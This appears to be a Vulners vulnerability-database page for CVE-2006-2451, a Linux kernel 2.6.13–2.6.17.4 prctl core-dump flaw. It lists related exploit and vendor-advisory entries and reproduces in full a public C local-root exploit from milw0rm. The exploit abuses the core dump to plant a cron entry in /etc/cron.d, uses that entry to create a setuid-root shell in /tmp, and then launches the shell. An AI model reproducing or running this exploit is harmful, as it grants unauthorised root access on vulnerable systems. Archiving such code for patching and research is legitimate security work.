| Reporter | Title | Published | Views | Family All 40 |
|---|---|---|---|---|
| Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit | 11 Jul 200600:00 | – | zdt | |
| Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3) | 13 Jul 200600:00 | – | zdt | |
| Linux Kernel 2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate) | 18 Jul 200600:00 | – | zdt | |
| CentOS 4 : kernel (CESA-2006:0574) | 13 Jul 200600:00 | – | nessus | |
| RHEL 4 : kernel (RHSA-2006:0574) | 10 Jul 200600:00 | – | nessus | |
| SuSE 10 Security Update : Linux kernel (ZYPP Patch Number 1896) | 13 Dec 200700:00 | – | nessus | |
| SuSE 10 Security Update : Linux kernel (ZYPP Patch Number 1900) | 17 May 201200:00 | – | nessus | |
| Ubuntu 5.04 / 5.10 / 6.06 LTS : linux-source-2.6.10/-2.6.12/-2.6.15 vulnerabilities (USN-311-1) | 10 Nov 200700:00 | – | nessus | |
| kernel security update | 8 Jul 200602:51 | – | centos | |
| CVE-2006-2451 | 7 Jul 200618:00 | – | cve |
/*****************************************************/
/* Local r00t Exploit for: */
/* Linux Kernel PRCTL Core Dump Handling */
/* ( BID 18874 / CVE-2006-2451 ) */
/* Kernel 2.6.x (>= 2.6.13 && < 2.6.17.4) */
/* By: */
/* - dreyer <[email protected]> (main PoC code) */
/* - RoMaNSoFt <[email protected]> (local root code) */
/* [ 10.Jul.2006 ] */
/*****************************************************/
#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";
int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
printf("By: dreyer & RoMaNSoFt\n");
printf("[ 10.Jul.2006 ]\n\n");
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
printf("[*] Creating Cron entry\n");
if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
sleep(62);
printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
system("/tmp/sh -i");
}
// milw0rm.com [2006-07-11]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation